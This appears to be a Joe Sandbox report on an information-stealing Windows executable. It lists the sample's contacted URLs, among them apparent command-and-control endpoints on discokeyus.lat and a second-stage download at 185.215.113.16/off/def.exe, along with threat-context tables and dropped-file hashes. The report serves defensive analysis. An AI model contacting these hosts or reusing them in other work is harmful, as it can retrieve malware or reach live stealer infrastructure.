https://client-api.arkoselabs.com/v2/api.js	chromecache_125.6.dr, chromecache_103.6.dr	false	high
https://aka.ms/MSIgniteChallenge/Tier1Banner?wt.mc_id=ignite24_learnbanner_tier1_cnl	chromecache_125.6.dr, chromecache_103.6.dr	false	high
https://management.azure.com/providers/Microsoft.Portal/consoles/default?api-version=2017-12-01-prev	chromecache_125.6.dr, chromecache_103.6.dr	false	high
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	f48jWpQ2F8.exe, 00000000.00000003.1516601327.0000000005A0A000.00000004.00000800.00020000.00000000.sdmp, f48jWpQ2F8.exe, 00000000.00000003.1516439196.0000000005A0C000.00000004.00000800.00020000.00000000.sdmp, f48jWpQ2F8.exe, 00000000.00000003.1516791960.0000000005A0A000.00000004.00000800.00020000.00000000.sdmp	false	high
https://github.com/Thraka	chromecache_118.6.dr	false	high
http://polymer.github.io/PATENTS.txt	chromecache_125.6.dr, chromecache_103.6.dr	false	high
https://aka.ms/certhelp	chromecache_125.6.dr, chromecache_103.6.dr	false	high
https://discokeyus.lat/apis	f48jWpQ2F8.exe, 00000000.00000003.1514472983.000000000132F000.00000004.00000020.00020000.00000000.sdmp, f48jWpQ2F8.exe, 00000000.00000003.1514316274.0000000001327000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	f48jWpQ2F8.exe, 00000000.00000003.1516601327.0000000005A0A000.00000004.00000800.00020000.00000000.sdmp, f48jWpQ2F8.exe, 00000000.00000003.1516439196.0000000005A0C000.00000004.00000800.00020000.00000000.sdmp, f48jWpQ2F8.exe, 00000000.00000003.1516791960.0000000005A0A000.00000004.00000800.00020000.00000000.sdmp	false	high
http://crl.rootca1.amazontrust.com/rootca1.crl0	f48jWpQ2F8.exe, 00000000.00000003.1613298648.0000000005A04000.00000004.00000800.00020000.00000000.sdmp	false	high
https://github.com/mairaw	chromecache_118.6.dr	false	high
http://ocsp.rootca1.amazontrust.com0:	f48jWpQ2F8.exe, 00000000.00000003.1613298648.0000000005A04000.00000004.00000800.00020000.00000000.sdmp	false	high
https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&ci=1696500454657.12791&key=1696500454400500	f48jWpQ2F8.exe, 00000000.00000003.1616047264.00000000059C4000.00000004.00000800.00020000.00000000.sdmp	false	unknown
https://schema.org	chromecache_103.6.dr	false	high
http://polymer.github.io/LICENSE.txt	chromecache_125.6.dr, chromecache_103.6.dr	false	high
https://www.ecosia.org/newtab/	f48jWpQ2F8.exe, 00000000.00000003.1516601327.0000000005A0A000.00000004.00000800.00020000.00000000.sdmp, f48jWpQ2F8.exe, 00000000.00000003.1516439196.0000000005A0C000.00000004.00000800.00020000.00000000.sdmp, f48jWpQ2F8.exe, 00000000.00000003.1516791960.0000000005A0A000.00000004.00000800.00020000.00000000.sdmp	false	high
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	f48jWpQ2F8.exe, 00000000.00000003.1615559661.0000000005AEC000.00000004.00000800.00020000.00000000.sdmp	false	high
https://aka.ms/yourcaliforniaprivacychoices	chromecache_118.6.dr	false	high
https://ac.ecosia.org/autocomplete?q=	f48jWpQ2F8.exe, 00000000.00000003.1516601327.0000000005A0A000.00000004.00000800.00020000.00000000.sdmp, f48jWpQ2F8.exe, 00000000.00000003.1516439196.0000000005A0C000.00000004.00000800.00020000.00000000.sdmp, f48jWpQ2F8.exe, 00000000.00000003.1516791960.0000000005A0A000.00000004.00000800.00020000.00000000.sdmp	false	high
https://github.com/nschonni	chromecache_118.6.dr	false	high
http://185.215.113.16/	f48jWpQ2F8.exe, 00000000.00000003.1837845175.00000000059C9000.00000004.00000800.00020000.00000000.sdmp, f48jWpQ2F8.exe, 00000000.00000003.1838629288.00000000059C9000.00000004.00000800.00020000.00000000.sdmp	false	high
https://videoencodingpublic-hgeaeyeba8gycee3.b01.azurefd.net/public-09ce73a6-05a5-4e4d-b3d7-bd5a8c05	chromecache_125.6.dr, chromecache_103.6.dr	false	high
https://github.com/adegeo	chromecache_118.6.dr	false	high
https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg	f48jWpQ2F8.exe, 00000000.00000003.1616047264.00000000059C4000.00000004.00000800.00020000.00000000.sdmp	false	high
http://185.215.113.16/9	f48jWpQ2F8.exe, 00000000.00000003.1837845175.00000000059C9000.00000004.00000800.00020000.00000000.sdmp, f48jWpQ2F8.exe, 00000000.00000003.1838629288.00000000059C9000.00000004.00000800.00020000.00000000.sdmp	false	unknown
http://185.215.113.16/off/def.exe5	f48jWpQ2F8.exe, 00000000.00000003.1838717053.0000000001390000.00000004.00000020.00020000.00000000.sdmp, f48jWpQ2F8.exe, 00000000.00000002.1921756919.0000000001390000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://discokeyus.lat/	f48jWpQ2F8.exe, f48jWpQ2F8.exe, 00000000.00000003.1837845175.00000000059C9000.00000004.00000800.00020000.00000000.sdmp, f48jWpQ2F8.exe, 00000000.00000003.1612819693.00000000059CE000.00000004.00000800.00020000.00000000.sdmp, f48jWpQ2F8.exe, 00000000.00000003.1513923317.00000000012F2000.00000004.00000020.00020000.00000000.sdmp, f48jWpQ2F8.exe, 00000000.00000003.1738055487.00000000059CE000.00000004.00000800.00020000.00000000.sdmp, f48jWpQ2F8.exe, 00000000.00000003.1514472983.000000000132F000.00000004.00000020.00020000.00000000.sdmp, f48jWpQ2F8.exe, 00000000.00000003.1514316274.0000000001327000.00000004.00000020.00020000.00000000.sdmp, f48jWpQ2F8.exe, 00000000.00000003.1653622447.00000000059CA000.00000004.00000800.00020000.00000000.sdmp, f48jWpQ2F8.exe, 00000000.00000003.1737766387.0000000001383000.00000004.00000020.00020000.00000000.sdmp, f48jWpQ2F8.exe, 00000000.00000003.1651190408.0000000001373000.00000004.00000020.00020000.00000000.sdmp, f48jWpQ2F8.exe, 00000000.00000003.1683624731.0000000001381000.00000004.00000020.00020000.00000000.sdmp, f48jWpQ2F8.exe, 00000000.00000003.1652894696.0000000001381000.00000004.00000020.00020000.00000000.sdmp, f48jWpQ2F8.exe, 00000000.00000003.1651004450.00000000059CA000.00000004.00000800.00020000.00000000.sdmp, f48jWpQ2F8.exe, 00000000.00000003.1566686364.00000000059C8000.00000004.00000800.00020000.00000000.sdmp, f48jWpQ2F8.exe, 00000000.00000003.1612424762.0000000001370000.00000004.00000020.00020000.00000000.sdmp, f48jWpQ2F8.exe, 00000000.00000003.1612765503.0000000001373000.00000004.00000020.00020000.00000000.sdmp, f48jWpQ2F8.exe, 00000000.00000003.1836842414.0000000001382000.00000004.00000020.00020000.00000000.sdmp, f48jWpQ2F8.exe, 00000000.00000003.1652849281.0000000001373000.00000004.00000020.00020000.00000000.sdmp, f48jWpQ2F8.exe, 00000000.00000003.1564809075.00000000059C5000.00000004.00000800.00020000.00000000.sdmp, f48jWpQ2F8.exe, 00000000.00000003.1615463849.0000000001373000.00000004.00000020.00020000.00000000.sdmp, f48jWpQ2F8.exe, 00000000.00000003.1612489267.00000000059CA000.00000004.00000800.00020000.00000000.sdmp	false	high
https://github.com/jonschlinkert/is-plain-object	chromecache_125.6.dr, chromecache_103.6.dr	false	high
http://crt.rootca1.amazontrust.com/rootca1.cer0?	f48jWpQ2F8.exe, 00000000.00000003.1613298648.0000000005A04000.00000004.00000800.00020000.00000000.sdmp	false	high
https://octokit.github.io/rest.js/#throttling	chromecache_125.6.dr, chromecache_103.6.dr	false	high
https://www.invisalign.com/?utm_source=admarketplace&utm_medium=paidsearch&utm_campaign=Invisalign&u	f48jWpQ2F8.exe, 00000000.00000003.1616047264.00000000059C4000.00000004.00000800.00020000.00000000.sdmp	false	high
https://discokeyus.lat/K	f48jWpQ2F8.exe, 00000000.00000003.1737859062.00000000059CA000.00000004.00000800.00020000.00000000.sdmp	false	unknown
https://contile-images.services.mozilla.com/CuERQnIs4CzqjKBh9os6_h9d4CUDCHO3oiqmAQO6VLM.25122.jpg	f48jWpQ2F8.exe, 00000000.00000003.1616047264.00000000059C4000.00000004.00000800.00020000.00000000.sdmp	false	high
https://github.com/js-cookie/js-cookie	chromecache_125.6.dr, chromecache_103.6.dr	false	high
https://discokeyus.lat:443/apip	f48jWpQ2F8.exe, 00000000.00000003.1514151249.000000000130B000.00000004.00000020.00020000.00000000.sdmp, f48jWpQ2F8.exe, 00000000.00000003.1513923317.0000000001309000.00000004.00000020.00020000.00000000.sdmp	false	unknown
http://185.215.113.16/off/def.exe	f48jWpQ2F8.exe, f48jWpQ2F8.exe, 00000000.00000003.1838717053.0000000001390000.00000004.00000020.00020000.00000000.sdmp, f48jWpQ2F8.exe, 00000000.00000003.1838759657.000000000132F000.00000004.00000020.00020000.00000000.sdmp, f48jWpQ2F8.exe, 00000000.00000003.1837598067.0000000001327000.00000004.00000020.00020000.00000000.sdmp, f48jWpQ2F8.exe, 00000000.00000002.1921756919.0000000001390000.00000004.00000020.00020000.00000000.sdmp	false	high
http://schema.org/Organization	chromecache_118.6.dr	false	high
https://channel9.msdn.com/	chromecache_125.6.dr, chromecache_103.6.dr	false	high
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	f48jWpQ2F8.exe, 00000000.00000003.1516601327.0000000005A0A000.00000004.00000800.00020000.00000000.sdmp, f48jWpQ2F8.exe, 00000000.00000003.1516439196.0000000005A0C000.00000004.00000800.00020000.00000000.sdmp, f48jWpQ2F8.exe, 00000000.00000003.1516791960.0000000005A0A000.00000004.00000800.00020000.00000000.sdmp	false	high
https://github.com/dotnet/try	chromecache_125.6.dr, chromecache_103.6.dr	false	high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
104.21.21.99	discokeyus.lat	United States	13335	CLOUDFLARENETUS	false
185.215.113.16	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	false
142.250.181.132	www.google.com	United States	15169	GOOGLEUS	false
239.255.255.250	unknown	Reserved	unknown	unknown	false

Private

IP
192.168.2.11

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1578894
Start date and time:	2024-12-20 16:18:42 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 7m 2s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	13
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	f48jWpQ2F8.exe renamed because original name is a hash value
Original Sample Name:	5a3ff46ade4fa0d7f8f8f1c1c4caa164.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@24/70@11/5
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 1
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, WMIADAP.exe, SIHClient.exe, conhost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 199.232.210.172, 142.250.181.99, 23.218.210.69, 64.233.164.84, 172.217.19.206, 172.217.17.46, 2.20.41.214, 192.229.221.95, 104.46.162.226, 142.250.181.74, 142.250.181.10, 172.217.17.42, 142.250.181.138, 172.217.19.202, 172.217.19.170, 172.217.19.234, 172.217.21.42, 172.217.17.74, 142.250.181.106, 2.19.126.156, 2.19.126.137, 20.189.173.11, 13.74.129.1, 13.107.21.237, 204.79.197.237, 172.217.17.35, 20.12.23.50, 23.218.208.109, 13.107.246.63
Excluded domains from analysis (whitelisted): slscr.update.microsoft.com, c-msn-com-nsatc.trafficmanager.net, clientservices.googleapis.com, browser.events.data.trafficmanager.net, learn.microsoft.com, e11290.dspg.akamaiedge.net, mdec.nelreports.net.akamaized.net, go.microsoft.com, clients2.google.com, ocsp.digicert.com, redirector.gvt1.com, onedscolprdaus02.australiasoutheast.cloudapp.azure.com, onedscolprdwus10.westus.cloudapp.azure.com, star-azurefd-prod.trafficmanager.net, a1883.dscd.akamai.net, learn.microsoft.com.edgekey.net, update.googleapis.com, www.bing.com, fs.microsoft.com, accounts.google.com, content-autofill.googleapis.com, c-bing-com.dual-a-0034.a-msedge.net, ctldl.windowsupdate.com, learn.microsoft.com.edgekey.net.globalredir.akadns.net, firstparty-azurefd-prod.trafficmanager.net, fe3cr.delivery.mp.microsoft.com, browser.events.data.microsoft.com, edgedl.me.gvt1.com, e13636.dscb.akamaiedge.net, c.bing.com, learn-public.trafficmanager.net, go.microsoft.com.edgekey.net, dual-a-0034.a-msedge.net
Execution Graph export aborted for target f48jWpQ2F8.exe, PID 7456 because there are no executed function
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtAllocateVirtualMemory calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
10:19:57	API Interceptor	119x Sleep call for process: f48jWpQ2F8.exe modified

LLM Input / Output

Input	Output
URL: https://microsoft.com Model: Joe Sandbox AI	{ "typosquatting": false, "unusual_query_string": false, "suspicious_tld": false, "ip_in_url": false, "long_subdomain": false, "malicious_keywords": false, "encoded_characters": false, "redirection": false, "contains_email_address": false, "known_domain": true, "brand_spoofing_attempt": false, "third_party_hosting": false }
URL: https://microsoft.com
URL: https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started?version=(null)&processName=f48jWpQ2F8.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0 Model: Joe Sandbox AI	{ "contains_trigger_text": true, "trigger_text": "This application could not be started", "prominent_button_name": "Yes", "text_input_field_labels": "unknown", "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false, "contains_fake_security_alerts": false }

URL: https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started?version=(null)&processName=f48jWpQ2F8.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0 Model: Joe Sandbox AI	{ "contains_trigger_text": true, "trigger_text": "This application could not be started", "prominent_button_name": "unknown", "text_input_field_labels": "unknown", "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false, "contains_fake_security_alerts": false }

URL: https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started?version=(null)&processName=f48jWpQ2F8.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0 Model: Joe Sandbox AI	{ "brands": [ "Microsoft" ] }
	{ "brands": [ "Microsoft" ] }
URL: https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started?version=(null)&processName=f48jWpQ2F8.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0 Model: Joe Sandbox AI	{ "brands": [ "Microsoft" ] }
	{ "brands": [ "Microsoft" ] }

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
104.21.21.99	RZnZbS97dD.exe	Get hash	malicious	LummaC	Browse
	SBLUj2UYnk.exe	Get hash	malicious	LummaC	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, PureLog Stealer, zgRAT	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse
	k6A01XaeEn.exe	Get hash	malicious	LummaC	Browse
	Inv59895_abubakar.iddrisu.html	Get hash	malicious	HTMLPhisher	Browse
	V-Mail_maryland.gov.html	Get hash	malicious	HTMLPhisher, Tycoon2FA	Browse
	https://webuildpart.com	Get hash	malicious	HtmlDropper, HTMLPhisher	Browse
185.215.113.16	R2CgZG545D.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.16/mine/random.exe
	RZnZbS97dD.exe	Get hash	malicious	LummaC	Browse	185.215.113.16/off/def.exe
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, PureLog Stealer, Stealc, zgRAT	Browse	185.215.113.16/off/random.exe
	file.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, LummaC Stealer	Browse	185.215.113.16/off/def.exe
	Tii6ue74NB.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, LummaC Stealer, RHADAMANTHYS, Stealc, Vidar	Browse	185.215.113.16/steam/random.exe
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Xmrig	Browse	185.215.113.16/off/def.exe
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, PureLog Stealer, Stealc, Vidar	Browse	185.215.113.16/steam/random.exe
	MFQbv2Yuzv.exe	Get hash	malicious	LummaC, Stealc	Browse	185.215.113.16/steam/random.exe
	Y41xQGmT37.exe	Get hash	malicious	LummaC, Stealc	Browse	185.215.113.16/steam/random.exe
	O3u9C8cpzl.exe	Get hash	malicious	LummaC, Stealc	Browse	185.215.113.16/steam/random.exe

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
discokeyus.lat	R2CgZG545D.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	172.67.197.170
	ylV1TcJ86R.exe	Get hash	malicious	LummaC	Browse	172.67.197.170
	RZnZbS97dD.exe	Get hash	malicious	LummaC	Browse	104.21.21.99
	SBLUj2UYnk.exe	Get hash	malicious	LummaC	Browse	104.21.21.99
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, PureLog Stealer, zgRAT	Browse	104.21.21.99
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, PureLog Stealer, Stealc, zgRAT	Browse	172.67.197.170
	Captcha.hta	Get hash	malicious	LummaC, Cobalt Strike, HTMLPhisher, LummaC Stealer	Browse	172.67.197.170
	k6A01XaeEn.exe	Get hash	malicious	LummaC	Browse	104.21.21.99
	iOnDpwrkWY.exe	Get hash	malicious	LummaC	Browse	172.67.197.170
	hzD92yQcTT.exe	Get hash	malicious	LummaC	Browse	172.67.197.170
s-part-0035.t-0009.t-msedge.net	MS100384UTC.xls	Get hash	malicious	Unknown	Browse	13.107.246.63
	RZnZbS97dD.exe	Get hash	malicious	LummaC	Browse	13.107.246.63
	Invoice Shipment.bat.exe	Get hash	malicious	DarkCloud	Browse	13.107.246.63
	MS100384UTC.xls	Get hash	malicious	Unknown	Browse	13.107.246.63
	SWIFT.xls	Get hash	malicious	Unknown	Browse	13.107.246.63
	Invoice for 04-09-24 fede39.admr.org.html	Get hash	malicious	Unknown	Browse	13.107.246.63
	https://p.placed.com/api/v2/sync/impression?partner=barkley&plaid=0063o000014sWgoAAE&version=1.0&payload_campaign_identifier=71700000100870630&payload_timestamp=5943094174221506287&payload_type=impression&redirect=http%3A%2F%2Fgoogle.com%2Famp%2Fs%2Fgoal.com.co%2Fwp%2Fpayment	Get hash	malicious	HTMLPhisher	Browse	13.107.246.63
	ktyihkdfesf.exe	Get hash	malicious	Vidar	Browse	13.107.246.63
	pjthjsdjgjrtavv.exe	Get hash	malicious	Vidar	Browse	13.107.246.63
	Laurier Partners Proposal.eml	Get hash	malicious	HTMLPhisher	Browse	13.107.246.63

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CLOUDFLARENETUS	https://bell36588.yardione.com	Get hash	malicious	Unknown	Browse	104.17.25.14
	R2CgZG545D.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	172.67.197.170
	https://account.book-ver.one	Get hash	malicious	Unknown	Browse	104.16.123.96
	ylV1TcJ86R.exe	Get hash	malicious	LummaC	Browse	172.67.197.170
	RZnZbS97dD.exe	Get hash	malicious	LummaC	Browse	104.21.21.99
	SBLUj2UYnk.exe	Get hash	malicious	LummaC	Browse	104.21.21.99
	SWIFT.xls	Get hash	malicious	Unknown	Browse	162.159.61.3
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, PureLog Stealer, zgRAT	Browse	104.21.12.88
	arm7.elf	Get hash	malicious	Mirai	Browse	162.159.132.75
	nsharm.elf	Get hash	malicious	Mirai	Browse	104.16.179.49
WHOLESALECONNECTIONSNL	R2CgZG545D.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.206
	UyiH4t5dph.exe	Get hash	malicious	Amadey	Browse	185.215.113.43
	RZnZbS97dD.exe	Get hash	malicious	LummaC	Browse	185.215.113.16
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, PureLog Stealer, zgRAT	Browse	185.215.113.43
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, PureLog Stealer, zgRAT	Browse	185.215.113.43
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, PureLog Stealer, Stealc, zgRAT	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, PureLog Stealer, RHADAMANTHYS, zgRAT	Browse	185.215.113.43
	file.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, LummaC Stealer	Browse	185.215.113.43
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer	Browse	185.215.113.43
	file.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, LummaC Stealer	Browse	185.215.113.16

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
1138de370e523e824bbca92d049a3777	Invoice for 04-09-24 fede39.admr.org.html	Get hash	malicious	Unknown	Browse	173.222.162.42
	ktyihkdfesf.exe	Get hash	malicious	Vidar	Browse	173.222.162.42
	file.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, LummaC Stealer	Browse	173.222.162.42
	https://kubota.highq.com/kubota/viewUserProfile.action?metaData.encryptTargetUserID=D1l4_GI3rHw=&metaData.updateUserProfileProcess=true	Get hash	malicious	Unknown	Browse	173.222.162.42
	QhR8Zp6fZs.lnk	Get hash	malicious	RHADAMANTHYS	Browse	173.222.162.42
	CROC000400 .pdf	Get hash	malicious	Unknown	Browse	173.222.162.42
	UYJ0oreVew.exe	Get hash	malicious	Unknown	Browse	173.222.162.42
	L1SrJoDQvG.exe	Get hash	malicious	Unknown	Browse	173.222.162.42
	https://forms.office.com/Pages/ShareFormPage.aspx?id=z5Knz2h3QUOIV4F1TCr6H8l1dBxA_RZAr7lBOGCmz8VURUlLQURGTlFGTEQ0QzdESlFMT1lGUlpRWi4u&sharetoken=rKEHIuU7H8od3T6m0C0Z	Get hash	malicious	Unknown	Browse	173.222.162.42
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Xmrig	Browse	173.222.162.42
a0e9f5d64349fb13191bc781f81f42e1	R2CgZG545D.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	104.21.21.99
	ylV1TcJ86R.exe	Get hash	malicious	LummaC	Browse	104.21.21.99
	RZnZbS97dD.exe	Get hash	malicious	LummaC	Browse	104.21.21.99
	SBLUj2UYnk.exe	Get hash	malicious	LummaC	Browse	104.21.21.99
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, PureLog Stealer, zgRAT	Browse	104.21.21.99
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, PureLog Stealer, zgRAT	Browse	104.21.21.99
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, PureLog Stealer, Stealc, zgRAT	Browse	104.21.21.99
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, PureLog Stealer, RHADAMANTHYS, zgRAT	Browse	104.21.21.99
	Captcha.hta	Get hash	malicious	LummaC, Cobalt Strike, HTMLPhisher, LummaC Stealer	Browse	104.21.21.99
	file.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, LummaC Stealer	Browse	104.21.21.99

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Fri Dec 20 14:20:42 2024, atime=Mon Oct 2 20:46:57 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2675
Entropy (8bit):	3.9895101140933056
Encrypted:	false
SSDEEP:	48:8miUdITUtt/HNidAKZdA1nehwiZUklqehwy+3:8mYERLy
MD5:	6777581CB5D81E4630017C88C220935A
SHA1:	BE04E0FEAB4BB1DDA635C88CAC8DDFD80C4FE125
SHA-256:	624D7EFDAE3314EA178F9B30A9B93A97481B2AF73F298D7EC4765D373907C80E
SHA-512:	A3CE818B402A6B71C4184766F8986A72CC2ED6DBC2544448101625D9431832AA0648554FE6B057C1C43E234BF15ECE7BF5D35B10D7F825AB205998AC5BB59EDF
Malicious:	false
Reputation:	low
Preview:	L..................F.@.. ...$+.,....yM...R......y... w......................1....P.O. .:i.....+00.../C:\.....................1.....EWXX..PROGRA~1..t......O.I.Y.z....B...............J.........P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V.Y.z....L.....................p+j.G.o.o.g.l.e.....T.1.....EW.V..Chrome..>......CW.V.Y.z....M.....................g.u.C.h.r.o.m.e.....`.1.....EW.V..APPLIC~1..H......CW.V.Y.z..........................g.u.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..BW. .CHROME~1.EXE..R......CW.V.Y.z............................3.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...................C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Fri Dec 20 14:20:42 2024, atime=Mon Oct 2 20:46:57 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2677
Entropy (8bit):	4.007390875409949
Encrypted:	false
SSDEEP:	48:88iUdITUtt/HNidAKZdA1geh/iZUkAQkqeh7y+2:88YEd9QSy
MD5:	B3524F5BF28545D8026529698328DB04
SHA1:	C414D722419A9511ED48FC2A429344C5E9D976C3
SHA-256:	63766F076A4F3C75A72EF5CC82E0B4D235791553EB24D23D77476FBE47045CB8
SHA-512:	977BD532C02BB6406612F3E85F082C0A5D59BDD25073E7CBB4877C4937D4A9D12F75777B7C887B0EFD0057E8FB34F5A380B3A36A73F97168A04030A261AFFCCD
Malicious:	false
Reputation:	low
Preview:	L..................F.@.. ...$+.,....%v..R......y... w......................1....P.O. .:i.....+00.../C:\.....................1.....EWXX..PROGRA~1..t......O.I.Y.z....B...............J.........P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V.Y.z....L.....................p+j.G.o.o.g.l.e.....T.1.....EW.V..Chrome..>......CW.V.Y.z....M.....................g.u.C.h.r.o.m.e.....`.1.....EW.V..APPLIC~1..H......CW.V.Y.z..........................g.u.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..BW. .CHROME~1.EXE..R......CW.V.Y.z............................3.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...................C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Thu Oct 5 09:52:18 2023, atime=Mon Oct 2 20:46:57 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2691
Entropy (8bit):	4.011158564644743
Encrypted:	false
SSDEEP:	48:87iUdITUttCHNidAKZdA148eh7sFiZUkmgqeh7sly+BX:87YEwnXy
MD5:	254FC4BC287A89325B66AEE4CDCC766B
SHA1:	DF6397CAB8E5941DAB58C3537112CFD270D130DF
